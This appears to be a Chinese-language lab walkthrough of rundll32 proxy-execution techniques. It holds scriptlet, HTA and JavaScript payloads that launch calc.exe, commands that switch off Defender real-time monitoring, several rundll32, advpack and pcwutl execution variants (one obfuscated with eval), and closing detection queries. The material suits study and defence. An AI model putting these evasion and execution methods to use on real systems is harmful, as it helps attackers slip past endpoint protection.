1
# 建立測試目錄
2
mkdir ~/rundll32_demo && cd ~/rundll32_demo
3

4
# 建立惡意 JavaScript (會被 rundll32 執行)
5
cat > payload.js << 'EOF'
6
var shell = new ActiveXObject("WScript.Shell");
7
shell.Run("calc.exe");
8
shell.Run("cmd.exe /c echo Rundll32 JS Execution > C:\\Windows\\Temp\\rundll32_test.txt");
9
EOF
10

11
# 建立惡意 SCT 檔案 (Scriptlet)
12
cat > payload.sct << 'EOF'
13
<?XML version="1.0"?>
14
<scriptlet>
15
<registration progid="Rundll32Test" classid="{00000000-0000-0000-0000-000000000000}">
16
<script language="JScript">
17
<![CDATA[
18
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
19
var fso = new ActiveXObject("Scripting.FileSystemObject");
20
var file = fso.CreateTextFile("C:\\Windows\\Temp\\sct_executed.txt", true);
21
file.WriteLine("SCT Executed at " + new Date());
22
file.Close();
23
]]>
24
</script>
25
</registration>
26
</scriptlet>
27
EOF
28

29
# 建立假的 DLL (其實是 HTA)
30
cat > fake.hta << 'EOF'
31
<script>
32
var c = "calc.exe";
33
new ActiveXObject("WScript.Shell").Run(c);
34
window.close();
35
</script>
36
EOF
37

38
# 啟動 Web Server
39
python3 -m http.server 8080

1
# 建立測試環境
2
mkdir C:\TestLab; cd C:\TestLab
3

4
# 暫時關閉防護（測試環境）
5
Add-MpPreference -ExclusionPath "C:\TestLab"
6
Add-MpPreference -ExclusionPath "$env:TEMP"
7
Set-MpPreference -DisableRealtimeMonitoring $true

1
# 設定攻擊者 IP
2
set ATTACKER=<your_kali_ip>
3

4
# 方法1：執行本地 JavaScript
5
echo var shell = new ActiveXObject("WScript.Shell"); shell.Run("calc.exe"); > test.js
6
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("calc.exe");
7

8
# 方法2：從遠端載入並執行
9
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=new%20ActiveXObject('WScript.Shell');o.Run('calc.exe');window.close();
10

11
# 方法3：更隱蔽的寫法
12
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject('WScript.Shell');w.Run('calc.exe');window.close()");

1
# 透過 rundll32 執行 PowerShell
2
rundll32.exe shell32.dll,ShellExec_RunDLL powershell.exe -c "calc.exe"
3

4
# 執行 COM 物件
5
rundll32.exe shell32.dll,ShellExec_RunDLL "cmd.exe" "/c echo Proxy Execution"
6

7
# 結合 advpack.dll 執行指令
8
# 建立 INF 檔案
9
@"
10
[Version]
11
Signature="`$Windows NT`$"
12
[DefaultInstall]
13
RunPreSetupCommands=Cmd
14
[Cmd]
15
calc.exe
16
"@ | Out-File test.inf
17

18
rundll32.exe advpack.dll,LaunchINFSection test.inf,DefaultInstall
19

20
# 使用 pcwutl.dll（程式相容性助理）
21
rundll32.exe pcwutl.dll,LaunchApplication calc.exe

1
# 正常執行
2
cmd.exe /c echo Hello
3

4
# 透過 rundll32 代理執行（多了一層）
5
rundll32.exe shell32.dll,ShellExec_RunDLL cmd.exe "/c echo Hello"

1
# 檢查 Temp 資料夾
2
Get-ChildItem "$env:TEMP" -Filter "*rundll32*" -ErrorAction SilentlyContinue
3
Get-ChildItem "$env:TEMP" -Filter "*.sct" -ErrorAction SilentlyContinue
4

5
# 檢查事件日誌
6
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4688} |
7
    Where-Object {$_.Message -match 'rundll32.*javascript'} |
8
    Select-Object TimeCreated, Message
9

10
# 檢查網路連線
11
Get-NetTCPConnection | Where-Object {
12
    (Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue).Name -eq 'rundll32'
13
}